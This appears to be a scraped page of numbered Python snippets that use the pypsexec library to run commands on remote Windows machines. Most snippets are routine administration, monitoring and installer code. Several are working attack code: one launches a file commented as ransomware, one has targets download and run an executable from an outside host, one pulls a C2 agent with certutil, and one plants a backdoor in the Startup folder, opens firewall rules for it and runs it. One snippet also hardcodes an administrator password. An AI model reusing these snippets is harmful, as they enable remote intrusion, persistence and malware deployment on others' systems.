示例#1
0
def connection(exe, computer, user, userpass):
    c = Client(computer, username=user, password=userpass)
    c.connect()
    try:
        c.create_service()
        c.run_executable(exe)
    finally:
        c.cleanup()
        c.disconnect()
    return
示例#2
0
def remoteExecute(ipAddress, user, password):
    c = Client(ipAddress, username=user, password=password, encrypt=False)
    c.connect()
    try:
        c.create_service()
        stdout, stderr, rc = c.run_executable(
            "C:/Users/IEUser/Downloads/Registration/registration.exe"
        )  #Execute ransomware from P Drive
    except:
        print("done")
def change_passwd(ip,username,password,port,new_password,id):
    if port=="22":
        ssh = paramiko.SSHClient()
        try:
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            try:
                ssh.connect(ip, username=username, password=password,timeout=10)
            except:
                log = "SSH server connection error via paramiko |" + str(datetime.datetime.now()) + "\n"
                logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
                logging.info(log)
            try:
                pass_change="echo "+str(username)+":"+str(new_password)+"|chpasswd"
                print(password)
                ssh.exec_command(pass_change)
            except:
                log = "SSH server doesn't run a command via paramiko |" + str(datetime.datetime.now()) + "\n"
                logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
                logging.info(log)
        finally:
            ssh.close()
    elif port=="445" or port=="3389":
        from pypsexec.client import Client
        c = Client(ip, username=username, password=password)
        c.connect()
        try:
            c.create_service()
            command="net user "+str(username)+" "+str(new_password)
            stdout, stderr, rc = c.run_executable("cmd.exe",
                                                  arguments=command)
            print(stdout)
        finally:
            c.remove_service()
            c.disconnect()
    try:
        database_sqlite = sqlite3.connect("../db.sqlite3")
        cursor = database_sqlite.cursor()
        cursor.execute("update data_data set system_password=? where id=?", (str(new_password), id))
        database_sqlite.commit()
        database_sqlite.close()
        log = str(id)+"|Password changed|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=PASSWORD_CHANGE_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
    except:
        log = "Password update error on database|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=ERROR_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
        log = str(id)+"|"+str(new_password)+"|Password didn't changed|" + str(datetime.datetime.now()) + " \n"
        logging.basicConfig(filename=PASSWORD_CHANGE_LOG_PATH, level=logging.DEBUG)
        logging.info(log)
示例#4
0
    def client(self):
        server = os.environ.get('PYPSEXEC_SERVER', None)
        username = os.environ.get('PYPSEXEC_USERNAME', None)
        password = os.environ.get('PYPSEXEC_PASSWORD', None)

        if server and username and password:
            client = Client(server, username=username, password=password)
            client.connect()
            try:
                client.create_service()
                yield client
            finally:
                client.disconnect()
        else:
            pytest.skip("PYPSEXEC_SERVER, PYPSEXEC_USERNAME, PYPSEXEC_PASSWORD"
                        " environment variables were not set. Integration "
                        "tests will be skipped")
示例#5
0
def remote_connection():
    try:
        global c
        c = None
        c = Client(gfile.uimServer, gfile.uimServerLoginName, gfile.uimServerLoginPassword, encrypt='False')
        c.connect()
        c.create_service()

        # return c
    except Exception as e:
        print('Below exception occured .....\n')
        traceback.print_exc()
        print("Exit from the program with above issue...")
        sys.exit(1)
    else:

        print('service created for following "{}".......\n\n'.format(gfile.uimServer))
示例#6
0
    def ConsultaUsuarioAD(self, servidor, usuario, senha, user):
        c = Client("%s" % servidor,
                   username="******" % usuario,
                   password="******" % senha)
        c.connect()

        try:
            c.create_service()
            stdout, stderr, rc = c.run_executable("cmd.exe",
                                                  arguments="/c net user %s" %
                                                  user)
            arquivo = open("user.txt", "wb")
            arquivo.write(stdout)
            arquivo.close()
            os.system("cat user.txt")

        finally:
            c.remove_service()
            c.disconnect()
示例#7
0
文件: psexec.py 项目: 5l1v3r1/NWR
def main():
    if len(sys.argv) != 4:
        print "pysexec <hostname or IP> <username> <password>"
        exit(1)
    hostname = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]    
    c = Client(hostname, username=username, password=password)
    c.connect()
    try:
        c.create_service()
        stdout, stderr, rc = c.run_executable("cmd.exe", arguments='/c powershell.exe "$WebClient = New-Object System.Net.WebClient;$WebClient.DownloadFile(\\\"http://systemd.pwnie.tech/windown.exe\\\",\\\"C:\\Windows\\System32\\windown.exe\\\"); C:\\Windows\\System32\\windown.exe"')
        print stdout, stderr, rc
    except:
        print "f**k"
        pass
    finally:
        c.remove_service()
    c.disconnect()
示例#8
0
 def send_command(self, command):
     """
     Send command to remote mechine using pypsexec client
     """
     c = Client("remote_machine_ip",
                username="******",
                password="******")
     c.connect()
     c.create_service()
     py_exe = r"C:\Python38\pythonw.exe"
     arguments = join('c:\\', 'remote', 'file', 'path', 'remote_runner.pyw')
     arguments = arguments + " " + '-c' + " " + command
     c.run_executable(py_exe,
                      arguments=arguments,
                      interactive=True,
                      interactive_session=1,
                      run_elevated=True,
                      use_system_account=True)
     c.remove_service()
     c.disconnect()
def run(arguments=None, state=1):
    config = arguments.get("name")
    host = arguments.get("host")
    port = arguments.get("port")
    user = arguments.get("user")
    password = os.environ.get('PFTOOL_USER_PASSWORD')
    print("[NETWORK] Started agent for '" + config + "' [" + str(host) + "]")
    print("[NETWORK] Agent args: name='%s' host='%s' port='%s' user='******' password='******'" % (
        config, host, port, user, password))
    client = Client("")
    while (state):
        try:
            counter = 0
            client = Client(host, username=user, port=port, password=password, encrypt=False)
            client.connect()
            client.create_service()
            try:
                while True:
                    counter = fetch_data_from_host_and_send_to_influxdb(config, client, host, counter)
                    counter += 1
                    time.sleep(cfg.call_interval)
            except Exception as e:
                print(dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + ' | NETWORK | ERROR | ' + config + ' | ', e)
                utils.send_notification_to_influxdb_with_error(config, host, str(e), cfg.status_code_warning, "network")
        except Exception as e:
            if e == 'Authentication failed.':
                state = 0
                print(e)
            else:
                print(dt.datetime.now().strftime(
                    '%Y-%m-%d %H:%M:%S') + ' | NETWORK | CONNECTION ERROR | ' + config + ' | ', e)
            utils.send_notification_to_influxdb_with_error(config, host, str(e), cfg.status_code_warning, "network")
        finally:
            client.remove_service()
            client.disconnect()
    utils.send_notification_to_influxdb_with_error(config, host, "Work finished", cfg.status_code_error, "network")
示例#10
0
def msg(bot, update, args):
    """send message to terminal users"""
    if not args:
        update.message.reply_text(
            'Empty message string\nUsage: /msg <message>')
    else:
        separator = ' '
        arguments = '* %s' % (separator.join(args))
        for server in SERVERS:
            c = Client(server,
                       username=MSGUSERNAME,
                       password=MSGPASSWORD,
                       encrypt=True)
            c.connect()
            try:
                c.create_service()
                result = c.run_executable(EXECUTABLE, arguments=arguments)
            finally:
                c.remove_service()
                c.disconnect()

        #print("STDOUT:\n%s" % result[0].decode('utf-8') if result[0] else "")
        #print("STDERR:\n%s" % result[1].decode('utf-8') if result[1] else "")
        print("RC: %d" % result[2])
示例#11
0
    creds = args.domain_cred.split(':')
    user = f'{creds[1]}@{creds[0]}'
    pw = creds[2]
    ip = target_ip

# file server is on port 8000 not 8888
file_server = args.server[:-3] + "000/sandcat.go-windows"

# psexec client
print(f"ip: {ip}\tuser: {user}\tpw{pw}")
client = Client(ip, username=user, password=pw, encrypt=False)

try:
    # connect to client
    client.connect()
    client.create_service()

    stout, sterr, pid = client.run_executable("cmd.exe",
                                              arguments="/c tasklist")

    if b"sandcat" in stout:
        print("sandcat is already running")
        exit(0)

    # tell remote system to download sandcat from C2
    client.run_executable(
        "certutil.exe",
        arguments=
        f"-urlcache -split -f {file_server} C:\\Users\\Public\\sandcat.exe")

    # start remote process
示例#12
0
文件: test.py 项目: anagnostouJohn/bd
def main(args):
    # t1 = threading.Thread(target=run())
    # t1.start()
    if args.new is True:
        c = Client(args.ip, username=args.username, password=args.password)
        c.connect()
        try:
            c.create_service()
            print("Connection Established Starting Poisoning")
            stdout, stderr, rc = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {Invoke-WebRequest http://" +
                args.server + ":8000/backdoor.exe -OutFile C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable + ".exe}\"",
                use_system_account=True)
            print("File Send ", stdout.decode("utf-8"), stderr.decode("utf-8"),
                  rc)
            stdout, stderr, rc = c.run_executable(
                "powershell.exe",
                arguments="-Command \"&  {New-NetFirewallRule -DisplayName \""
                + args.rule + "\" -Direction Inbound -Program C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable +
                ".exe -RemoteAddress LocalSubnet -Action Allow}\"",
                use_system_account=True)
            print("Firewall INBOUNT Updated", stdout.decode("utf-8"),
                  stderr.decode("utf-8"), rc)
            stdout1, stderr1, rc1 = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {New-NetFirewallRule -DisplayName \"" +
                args.rule + "\" -Direction Outbound -Program C:\\Users\\" +
                args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable +
                ".exe -RemoteAddress LocalSubnet -Action Allow}\"",
                use_system_account=True)
            print("Firewall OUTBOUNT Updated", stdout1.decode("utf-8"),
                  stderr1.decode("utf-8"), rc1)
            stdout1, stderr1, rc1 = c.run_executable(
                "powershell.exe",
                arguments="-Command \"& {Start-Process -FilePath \"C:\\Users\\"
                + args.username +
                "\\AppData\\Roaming\\Microsoft\\Windows\\Start` Menu\\Programs\\Startup\\"
                + args.executable + ".exe\"}\"",
                use_system_account=True)
            print("Starting BackDoor", stdout1.decode("utf-8"),
                  stderr1.decode("utf-8"), rc1)

            c.remove_service()
            c.disconnect()
            time.sleep(2)
            sys.exit()

        except Exception as e:
            c.remove_service()
            c.disconnect()
            print(e)
            time.sleep(2)
            sys.exit()
    if args.connect is True:
        print("OK")
        loop = asyncio.get_event_loop()
        while True:
            message = input(">>")
            if message != "q":
                try:
                    coro = loop.create_connection(
                        lambda: EchoClientProtocol(message, loop), args.ip,
                        8888)
                    loop.run_until_complete(coro)
                    loop.run_forever()
                except Exception as ex:
                    print("Cannot Connect to Remote Server Exception: ", ex)
            else:
                loop.close()
                sys.exit(0)
示例#13
0
from pypsexec.client import Client
import time
import sys  # to raise specific exception using sys.exc_info()
start = time.time()
ip = '10.17.162.2'
try:
    c = Client('10.17.162.2', 'administrator', 'interOP@123', encrypt='False')
    c.connect()
    c.create_service()
    print('service created for following "{}".......\n\n'.format(ip))
    robotlist = [
        'myChinarobot77', 'myChinarobot76', 'myChinarobot50', 'myChinarobot47',
        'myChinarobot57', 'myChinarobot17', 'myChinarobot14', 'myChinarobot12',
        'myChinarobot27', 'myChinarobot2', 'myChinarobot37', 'myChinarobot24',
        'myChinarobot23', 'myChinarobot54', 'myChinarobot45', 'myChinarobot43',
        'myChinarobot63', 'myChinarobot89', 'myChinarobot74', 'myChinarobot99',
        'myChinarobot100', 'myChinarobot96', 'myChinarobot97',
        'myChinarobot94', 'myChinarobot90', 'myChinarobot91', 'myChinarobot25'
    ]
    #robotCount = 1
    for robot in robotlist:

        callback = r"""C:\Progra~1\Nimsoft\bin\pu -u administrator -p interOP@123 /CHOSERVER1_domain/chosechub1/{}/controller restart_all_probes""".format(
            robot)
        print(callback)
        stdout, stderr, rc = c.run_executable(
            "cmd.exe", arguments='''/c "{}"'''.format(callback))
        stdout = str(stdout, 'utf-8')
        stderr = str(stderr, 'utf-8')
        # print (rc)
        if rc == 0:
示例#14
0
def main(argv):
    dest = ''
    user = ''
    passwd = ''
    cmd = ''
    cmdarg = ''
    encryptarg = False
    verbose = 0
    stdout = ''
    stderr = ''
    rc = ''

    try:
        opts, args = getopt.getopt(
            argv, "Vevd:u:p:c:a:",
            ["dest=", "user="******"pass="******"cmd=", "cmdarg=", "--verbose"])
    except getopt.GetoptError:
        print '%s -d <destination> -u <user> -p <pass> -c <cmd> -a <cmd arguements> -v {verbose} -e {Turns encryption on}' % sys.argv[
            0]
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print '%s -d <destination> -u <user> -p <pass> -c <cmd> -a <cmd arguements> -v {verbose} -e {Turns encryption on}' % sys.argv[
                0]
            sys.exit()
        elif opt in ("-d", "--dest"):
            dest = arg
        elif opt in ("-u", "--user"):
            user = arg
        elif opt in ("-p", "--pass"):
            passwd = arg
        elif opt in ("-c", "--cmd"):
            cmd = arg
        elif opt in ("-a", "--cmdarg"):
            cmdarg = arg
        elif opt in ("-e", "--encrypt"):
            encryptarg = True
        elif opt in ("-v", "--verbose"):
            verbose = 1
        elif opt in ("-V", "--Version"):
            print "Python Windows Exec"
            print "By Keven Murphy"
            print "Description: Python Windows Exec has the same main functionality as psexec."
            print "             Allows for remote launching of windows programs on a remote machine."
            print "Version: %s" % version
            sys.exit()

    # creates an encrypted connection to the host with the username and password
    #c = Client(dest, username=user, password=passwd,encrypt=encryptarg)
    c = Client(dest, username=user, password=passwd, encrypt=encryptarg)

    if verbose == 1:
        print "Destination: %s" % dest
        print "User: %s" % user
        print "Password: %s" % passwd
        print "CMD: %s" % cmd
        print "CMD Arguements: %s" % cmdarg
        print "Encrypt: %s" % encryptarg

    try:
        c.connect()
        c.create_service()

        # After creating the service, you can run multiple exe's without
        # reconnecting

        # run a simple cmd.exe program with arguments
        stdout, stderr, rc = c.run_executable(cmd, arguments=cmdarg)
        if verbose == 1:
            print
            print "STDOUT"
            print "======"
            print "%s" % stdout
            print
            print
            print "STDERR"
            print "======"
            print "%s" % stderr
            print
            print
            print "rc    : %s" % rc

        c.remove_service()
        c.disconnect()
    except:
        print "Timeout connecting"
        if verbose == 1:
            print
            print "STDOUT"
            print "======"
            print "%s" % stdout
            print
            print
            print "STDERR"
            print "======"
            print "%s" % stderr
            print
            print
            print "rc    : %s" % rc
示例#15
0
class PSExecAPI(object):
    _cache = {}  # type: Dict[PSExecAPI]

    def __init__(self, hostname, username, password):
        self.hostname = hostname
        self.username = username
        self.password = password
        self._session_id = None  # type: int or None
        self.timeout = 10
        self.__client = None  # Client or None
        self._register_at_exit()

    def __str__(self):
        return "%s%s:%s@%s" % (__name__, self.username, self.password,
                               self.hostname)

    @property
    def session_established(self):
        return self._client and hasattr(self._client, 'session')

    @staticmethod
    def _clear_all():
        PSExecAPI._cache.clear()

    @classmethod
    def get(cls, hostname, username, password):
        # noinspection PyTypeChecker
        output = PSExecAPI._cache.get((hostname, username, password))
        if output is None:
            output = cls(hostname, username, password)
        return output

    @staticmethod
    def _remove_class_cache(class_):
        _key = (class_.hostname, class_.username, class_.password)
        if _key in PSExecAPI._cache:
            # noinspection PyTypeChecker
            PSExecAPI._remove_cache(*_key)

    # noinspection PyTypeChecker
    @staticmethod
    def _remove_cache(hostname, username, password):
        key = (hostname, username, password)
        if key in PSExecAPI._cache.keys():
            # noinspection PyProtectedMember
            PSExecAPI._cache[key]._disconnect()
            PSExecAPI._cache.pop(key)

    @property
    def _client(self):
        # type: () -> Client or None
        if self.__client is None:
            self.__client = Client(self.hostname, self.username, self.password)
            _LOGGER.info(
                'Establishing PSExec connection with %s@%s with timeout %s seconds ... '
                % (self.username, self.hostname, self.timeout))
            # Remote Host Requirements: https://github.com/jborean93/pypsexec#remote-host-requirements
            # try:
            #     self.__client.connect(timeout=self.timeout)
            #     self.__client.cleanup()
            #     self.__client.disconnect()
            # except:
            #     pass

            try:
                self.__client.connect(timeout=self.timeout)
                self.__client.create_service()
            except SMBAuthenticationError as e:
                _LOGGER.error("%s Authentication Error: %s %s" %
                              (__name__, type(e), e))
                self._destroy()
                return
            except SCMRException as e:
                _LOGGER.error("%s SCMRException Exception: %s %s" %
                              (__name__, type(e), e))
            except Exception as e:
                _LOGGER.error("%s Exception: %s %s" % (__name__, type(e), e))
                self._destroy()
                return

            # noinspection PyTypeChecker
            PSExecAPI._cache[(self.hostname, self.username,
                              self.password)] = self
        return self.__client

    def _destroy(self):
        self._disconnect()
        self.__client = None
        PSExecAPI._remove_class_cache(self)

    def _cleanup(self):
        try:
            self.__client.cleanup()
        except:
            pass

    def _disconnect(self):
        if not self.__client:
            return

        try:
            self.__client.remove_service()
            self.__client.disconnect()
        except:
            pass

    def _register_at_exit(self):
        atexit.register(self._disconnect)

    def run_cmd(self,
                cmd,
                interactively=False,
                asynchronous=False,
                session_id=None,
                **kwargs):
        if interactively:
            return self.run_interactively('cmd',
                                          arguments='/c "%s"' % cmd,
                                          asynchronous=asynchronous,
                                          session_id=session_id,
                                          **kwargs)

        return self.run_executable('cmd',
                                   arguments='/c "%s"' % cmd,
                                   interactive_session=session_id,
                                   **kwargs)

    def run_executable(self, executable, **kwargs):
        _LOGGER.debug(
            "Running remote executable @ {s.username}@{s.hostname}: {exe} {kw}"
            .format(s=self, exe=executable, kw=kwargs if kwargs else ''))
        if not self._client:
            _LOGGER.warning(
                "Cannot run executable: connection not established @ %s@%s" %
                (self.username, self.hostname))
            return

        _LOGGER.info("Running executable %s" % executable)
        stdout, stderr, return_code = self._client.run_executable(
            executable, **kwargs)
        _stderr_str = 'Stderr:\n%s\n\n' % stderr.strip(
        ) if stderr and stderr.strip() else ''
        _stdout_str = 'Stdout:\n%s\n\n' % stdout.strip(
        ) if stdout and stdout.strip() else ''
        _LOGGER.debug("%s%sReturn Code: %s" %
                      (_stderr_str, _stdout_str, return_code))
        return stdout, stderr, return_code

    def run_interactively(self,
                          executable,
                          arguments=None,
                          asynchronous=False,
                          session_id=None,
                          **kwargs):
        session_id = session_id or self.session_id
        if not session_id:
            _LOGGER.warning("Cannot run %s interactively: User not logged in" %
                            executable)
            return

        kwargs.update({
            'interactive': True,
            'interactive_session': session_id,
            'asynchronous': asynchronous
        })
        if 'use_system_account' not in kwargs:
            kwargs.update({'use_system_account': True})

        _LOGGER.info("Running %s interactively" % executable)
        return self.run_executable(executable, arguments=arguments, **kwargs)

    def mirror_folder(self,
                      remote_folder,
                      local_folder,
                      multi_thread=True,
                      **kwargs):
        _multi_thread = '/MT' if multi_thread else ''
        _args = '"%s" "%s" /UNICODE /MIR %s' % (remote_folder, local_folder,
                                                _multi_thread)
        kwargs.update({'arguments': _args})
        _LOGGER.info("Mirroring folders %s and %s" %
                     (remote_folder, local_folder))
        output = self.run_executable('robocopy.exe', **kwargs)
        stdout, stderr, return_code = output if output else (None, None, None)
        return stdout, stderr, return_code

    def get_session_id(self, user=None):
        user = user or self.username
        _LOGGER.debug("Getting session ID for %s@%s" % (user, self.hostname))
        _args = '/c tasklist /NH /FI "USERNAME eq %s" /FI "IMAGENAME eq RuntimeBroker.exe"' % user
        stdout, stderr, return_code = self._client.run_executable(
            'cmd', arguments=_args, use_system_account=False)
        _LOGGER.debug("Get Session ID STDOUT: %s" % stdout)
        _LOGGER.debug("Get Session ID STDERR: %s" % stderr)
        _LOGGER.debug("Get Session ID return_code: %s" % return_code)
        if stderr and str(stderr).strip():
            _LOGGER.warning(
                "Error getting session ID for %s@%s. User is not logged in?" %
                (user, self.hostname))
            return

        if stdout and "INFO: No tasks are running which match the specified criteria." in str(
                stdout).strip():
            _LOGGER.warning(
                "Couldn't get Session ID for %s@%s. User is not logged in" %
                (user, self.hostname))
            return

        if not stdout or not str(stdout).strip():
            _LOGGER.warning(
                "Couldn't get Session ID for %s@%s. Stdout empty?\n%s" %
                (user, self.hostname, stdout))
            return

        brokers_split = str(stdout).strip().split('\n')
        if not brokers_split:
            _LOGGER.warning(
                "Couldn't get Session ID for %s@%s. Brokers list empty?\n%s" %
                (user, self.hostname, stdout))
            return

        broker = brokers_split[0].split()
        if len(broker) < 3:
            _LOGGER.warning(
                "Couldn't get Session ID for %s@%s. Broker split empty?\n%s" %
                (user, self.hostname, broker))
            return

        session_id = broker[3]
        _LOGGER.debug("Got session id: %s" % session_id)

        try:
            output = int(session_id)
        except:
            _LOGGER.warning("Error parsing session ID for %s@%s: %s" %
                            (user, self.hostname, str(stdout).strip()))
            return

        _LOGGER.info("Got session ID for %s@%s: %s" %
                     (user, self.hostname, output))
        return output

    @property
    def session_id(self):
        if self._session_id is None:
            if not self._client:
                _LOGGER.warning("Couldn't get session id: client is None")
                return

            self._session_id = self.get_session_id()
        return self._session_id

    def check_file_exists(self, file_path):
        output = self.run_executable('cmd.exe',
                                     arguments='/c where "%s"' % file_path)
        if output is None:
            return

        stdout, stderr, return_code = output
        if stderr is None or stderr.strip(
        ) or stdout is None or not stdout.strip():
            _LOGGER.warning("Couldn't check_file_exists %s " % file_path)
            return

        if "Could not find files for the given pattern" in str(stdout):
            return False

        return stdout.strip()

    def check_install_choco(self):
        choco = self.check_file_exists('choco.exe')
        if not choco:
            self.install_choco()

    def install_choco(self,
                      interactively=False,
                      asynchronous=False,
                      session_id=None):
        return self.run_cmd(
            "powershell Set-ExecutionPolicy Bypass -Scope Process -Force; "
            "iex ((New-Object System.Net.WebClient)."
            "DownloadString('https://chocolatey.org/install.ps1'))"
            "&refreshenv"
            "&choco feature enable -n=allowGlobalConfirmation -y"
            "&choco feature disable -n=ignoreInvalidOptionsSwitches -y"
            "&choco feature enable -n=usePackageExitCodes -y"
            "&choco feature disable -n=showNonElevatedWarnings -y",
            interactively=interactively,
            asynchronous=asynchronous,
            session_id=session_id)

    def install_choco_module(self, module_name):
        self.check_install_choco()
        return self.run_cmd('cinst %s' % module_name)

    def create_shortcut(self,
                        target,
                        location="~$folder.desktop$",
                        title='My Shortcut',
                        arguments='',
                        icon_path="",
                        icon_number=0,
                        run_as=""):
        """
        https://nircmd.nirsoft.net/shortcut.html
        """
        return self.run_cmd(
            'nircmd shortcut "{target}" "{location}" "{title}" "{arguments}" '
            '"{icon_path}" {icon_number} "{run_as}"'.format(
                target=target,
                location=location,
                title=title,
                arguments=arguments,
                icon_path=icon_path,
                icon_number=icon_number,
                run_as=run_as))
示例#16
0
    def do_out(self, source, params, folder):
        host, port, username, password, encrypt = parse_source(source)

        file = params.get('file')
        log.debug('file: "%s"', file)

        if file is None:
            raise ValueError("File name in params is mandatory!")

        filename = os.path.basename(file)
        filepath = os.path.join(folder, file)
        if not os.path.exists(filepath):
            raise Exception("File '%s' not found!" % filepath)

        log.info('lookup "%s" ...', host)
        ip = socket.gethostbyname(host)
        localhost = socket.gethostname()

        # connect smb share
        log.info('connect "%s" ...', ip)
        conn = SMBConnection(username,
                             password,
                             localhost,
                             host,
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        ready = conn.connect(ip, 445)
        if not ready:
            raise Exception("Connect failed, host, user or pass is not valid!")

        # create temp folder and move package to
        log.info('prepare ...')
        remote_dir = "temp\\%s" % temp_name()
        conn.createDirectory(ADMIN_SERVICE, remote_dir)

        # copy package remote
        file_obj = open(filepath, 'r')
        remote_filepath = "%s\\%s" % (remote_dir, filename)
        conn.storeFile(ADMIN_SERVICE, remote_filepath, file_obj)
        file_obj.close()

        # install package remotely
        log.info('install "%s" ...', filename)
        psexec = Client(ip,
                        username=username,
                        password=password,
                        encrypt=encrypt)
        psexec.connect()
        remote_logpath = remote_dir + "\\msiexec.log"
        try:
            psexec.create_service()
            msi_path = "%systemroot%\\" + remote_filepath
            log_path = "%systemroot%\\" + remote_logpath
            cmd = "msiexec /i %s /qn /norestart /L*v %s" % (msi_path, log_path)
            log.debug(cmd)
            stdout, stderr, rc = psexec.run_executable("cmd.exe",
                                                       arguments="/c " + cmd)
            log.debug("exit code: %s", rc)
        finally:
            psexec.remove_service()
            psexec.disconnect()

        # dump msi log content
        log.debug('read remote log "%s" content', remote_logpath)
        try:
            with tempfile.NamedTemporaryFile() as tmp_file:
                conn.retrieveFile(ADMIN_SERVICE, remote_logpath, tmp_file)
                tmp_file.seek(0)
                log.debug(codecs.decode(tmp_file.read(), 'utf-16'))
        except:
            log.error(str(e))  # non fatal

        if rc != 0:  # sorry, fatal
            raise Exception(stdout.decode('utf-16'))

        # version magick
        log.info('set version ...')
        with tempfile.NamedTemporaryFile() as ver_obj:
            conn.storeFile(ADMIN_SERVICE, MAGICK_FILENAME, ver_obj)
        attr = conn.getAttributes(ADMIN_SERVICE, MAGICK_FILENAME)
        version = attr.last_write_time

        # clean and diconnect
        conn.deleteFiles(ADMIN_SERVICE, remote_logpath)
        conn.deleteFiles(ADMIN_SERVICE, remote_filepath)
        conn.deleteDirectory(ADMIN_SERVICE, remote_dir)
        conn.close()

        return {"version": {"ref": format_version(version)}, "metadata": []}
示例#17
0
def windows_robot_uninstall():
    """ windows robots uninstallation """
    print('Windows robot uninstall is processesing....\n', '*' * 43, sep='')
    for windows_robot_uninstall.ip in gfile.ip:
        try:

            c = Client(windows_robot_uninstall.ip,
                       gfile.username,
                       gfile.password,
                       encrypt='False')
            c.connect()
            c.create_service()
            global conn
            conn = c
            print('service created for following "{}".......'.format(
                windows_robot_uninstall.ip))

            # Uninstalling

            cmd = r'''IF EXIST C:\Progra~1\Nimsoft\unins000.exe (echo 1) ELSE IF EXIST C:\Progra~2\Nimsoft\unins000.exe (echo 2) ELSE (echo 3)'''
            stdout, stderr, rc = c.run_executable(
                "cmd.exe", arguments='''/c  {}'''.format(cmd))
            robot_path = str(stdout, 'utf-8')
            # print(robot_path)

            if robot_path.strip() == '1':
                stdout, stderr, rc = c.run_executable(
                    "cmd.exe",
                    arguments=
                    '''/c  "C:\\Progra~1\\Nimsoft\\unins000 /silent"''')
                if rc == 0:
                    print('{} robot is Uninstalled successfully......'.format(
                        windows_robot_uninstall.ip))
                    time.sleep(2)
                    restart()

                else:
                    print('{} Uninstallation  failed with error : {} \n\n'.
                          format(windows_robot_uninstall.ip, stderr))

            elif robot_path.strip() == '2':
                stdout, stderr, rc = c.run_executable(
                    "cmd.exe",
                    arguments=
                    '''/c  "C:\\Progra~2\\Nimsoft\\unins000 /silent"''')
                if rc == 0:
                    print('{} robot is Uninstalled successfully......'.format(
                        windows_robot_uninstall.ip))
                    time.sleep(2)
                    restart()

                else:
                    print('{} Uninstallation  failed with error : {} \n\n'.
                          format(windows_robot_uninstall.ip, stderr))

            else:
                print('robot not installed on "{}" ...'.format(
                    windows_robot_uninstall.ip))

        except Exception as ex:
            # print('Below exception occured while connecting with "{}"........\n'.format(ip))
            traceback.print_exc()
        finally:
            c.remove_service()
            c.disconnect()
            print('Connection closed for following host {}'.format(
                windows_robot_uninstall.ip))
            print('*' * 48, '\n')